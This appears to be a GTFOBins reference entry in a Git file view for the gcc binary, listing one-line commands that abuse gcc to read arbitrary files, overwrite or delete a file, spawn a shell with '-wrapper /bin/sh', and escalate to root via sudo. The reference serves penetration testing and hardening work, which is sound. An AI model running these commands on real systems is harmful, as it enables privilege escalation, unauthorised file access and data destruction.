GTFOBins.github.io/_gtfobins/gcc.md

16 lines
327 B
Markdown
Raw Normal View History

2020-03-14 06:48:45 +01:00
---
functions:
file-read:
- code: |
LFILE=file_to_read
gcc -x c -E "$LFILE"
2021-04-26 16:11:33 +02:00
file-write: # XXX this should be file-delete
2021-04-06 09:42:52 +02:00
- code: |
LFILE=file_to_delete
gcc -xc /dev/null -o $LFILE
2020-03-14 06:48:45 +01:00
shell:
2020-03-14 12:17:30 +01:00
- code: gcc -wrapper /bin/sh,-s .
2020-03-14 06:48:45 +01:00
sudo:
2020-03-14 12:17:30 +01:00
- code: sudo gcc -wrapper /bin/sh,-s .
2020-03-14 06:48:45 +01:00
---